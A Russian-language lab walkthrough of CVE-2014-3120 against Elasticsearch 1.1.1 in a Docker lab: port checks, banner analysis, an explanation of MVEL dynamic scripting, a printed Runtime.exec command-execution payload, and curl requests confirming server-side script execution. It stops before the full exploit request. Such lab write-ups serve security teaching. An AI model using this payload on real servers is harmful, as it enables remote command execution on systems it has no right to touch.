
Пошаговое лабораторное руководство, демонстрирующее эксплуатацию CVE-2014-3120 против Elasticsearch 1.1.1, охватывающее анализ уязвимости, RCE через MVEL-скриптинг и пост-эксплуатацию в среде Docker.
Начнём с того, что запущено в окружении. Выведем список всех активных контейнеров:
docker ps

Результат: Контейнер p1/lab10:latest запущен, наружу открыты 2 порта:
| Сопоставление портов | Протокол |
|---|---|
0.0.0.0:9200 → 9200/tcp | HTTP (требуется проверка) |
0.0.0.0:9300 → 9300/tcp | Неизвестно |
Первоначальное наблюдение: Порты 9200 и 9300 обычно известны как порты по умолчанию для Elasticsearch. Однако нельзя делать вывод только на основе номеров портов – многие другие службы могут привязываться к любым портам.
⇒ Обратимся напрямую к каждому порту через curl, чтобы проверить, какая служба фактически запущена.
curl -i http://192.168.3.137:9300/

Анализ ответа:
curl: (52) Empty reply from serverОценка: Сервер принял TCP-соединение (нет отказа в соединении), но не ответил по протоколу HTTP. Это соответствует поведению транспортного протокола Elasticsearch на порту 9300 – бинарного протокола для связи между узлами кластера, не HTTP.
⇒ Вывод: Порт 9300 использует бинарный протокол → нельзя использовать напрямую через curl/браузер. Переходим к проверке порта 9200 – порта HTTP REST API.
curl -i http://192.168.3.137:9200/

Анализ ответа:
| Поле | Значение | Смысл |
|---|---|---|
name | "Rage" | Имя узла Elasticsearch (случайное имя персонажа Marvel – поведение по умолчанию старых версий ES) |
version.number | "1.1.1" | Очень старая версия – выпущена в апреле 2014 г. |
build_timestamp | "2014-04-16T14:27:12Z" | Собрана в 2014 г. |
lucene_version | "4.7" | Lucene 4.7 – старый движок индексации |
tagline | "You Know, for Search" | Характерная фраза-подпись Elasticsearch |
Оценка поверхности атаки:

⇒ Вывод: Elasticsearch 1.1.1 включает динамическое скриптование по умолчанию – клиенты могут отправлять скрипты (MVEL-выражения) в поисковых запросах для выполнения на сервере. При отсутствии изолированной среды или надлежащей валидации злоумышленник может внедрить вредоносный скрипт для выполнения системных команд. Следующий шаг: проверить, действительно ли динамическое скриптование активно на цели.
Elasticsearch поддерживает функцию скриптования – клиенты могут отправлять скрипты (математические или логические выражения) внутри поисковых запросов, чтобы сервер выполнял их при обработке результатов. В Elasticsearch 1.x движком по умолчанию для этой функции является MVEL (MVFLEX Expression Language).
В версиях Elasticsearch до 1.2 динамическое скриптование включено по умолчанию (script.disable_dynamic: false). Это означает:
script_fields в API _search.java.lang.Runtime.getRuntime().exec() для выполнения системных команд.script_fieldsКогда отправляется поисковый запрос с script_fields, Elasticsearch:
_search.script_fields → находит script для выполнения.В Java наиболее распространённый способ выполнения системной команды:
Runtime.getRuntime().exec("command");
MVEL, как язык выражений с полным доступом к классам Java, позволяет вызвать это напрямую:
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
Пояснение каждой части:
| Часть | Пояснение |
|---|---|
import java.io.* | Импорт классов ввода-вывода Java |
Runtime.getRuntime() | Получение экземпляра Java Runtime |
.exec("id") | Выполнение команды оболочки id |
.getInputStream() | Получение потока вывода процесса |
new Scanner(...).useDelimiter("\\A").next() | Чтение всего вывода в виде строки |
⇒ Вывод: В Elasticsearch результат RCE возвращается непосредственно в ответе – не требуется перенаправление в файл и обратное чтение. Это делает эксплуатацию чище и быстрее для проверки.
После идентификации цели как Elasticsearch 1.1.1 следующий шаг – проверить, действительно ли динамическое скриптование включено.
CVE-2014-3120 использует тот факт, что Elasticsearch позволяет клиентам отправлять скрипты внутри запросов _search. Если скрипт выполняется сервером, злоумышленник может заменить безвредное выражение на полезную нагрузку, вызывающую Java Runtime для выполнения системных команд.
Сначала создадим тестовый документ, чтобы убедиться, что запрос вернёт хотя бы один результат. Если ни один документ не соответствует, script_fields не будет выполнен.
curl -s -X POST 'http://192.168.3.137:9200/test_index/test_type/1' \
-H 'Content-Type: application/json' \
-d '{"name":"test"}'
Затем обновим индекс:
curl -s -X POST 'http://192.168.3.137:9200/test_index/_refresh'
Далее отправим запрос _search с script_fields, содержащим безвредное MVEL-выражение:
curl -s -X POST 'http://192.168.3.137:9200/test_index/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {
"match_all": {}
},
"script_fields": {
"test": {
"script": "1+1"
}
}
}'

Мы отправляем скрипт "1+1", и сервер возвращает результат 2. Это доказывает, что Elasticsearch не только получает запрос _search, но и выполняет динамический скрипт на стороне сервера.
⇒ Динамическое скриптование активно на цели.
Поскольку цель – Elasticsearch 1.1.1 (до версии 1.2), это соответствует условиям эксплуатации CVE-2014-3120: Elasticsearch до версии 1.2 включает динамическое скриптование по умолчанию, что позволяет удалённому злоумышленнику выполнять MVEL-выражения/Java-код через поисковый запрос.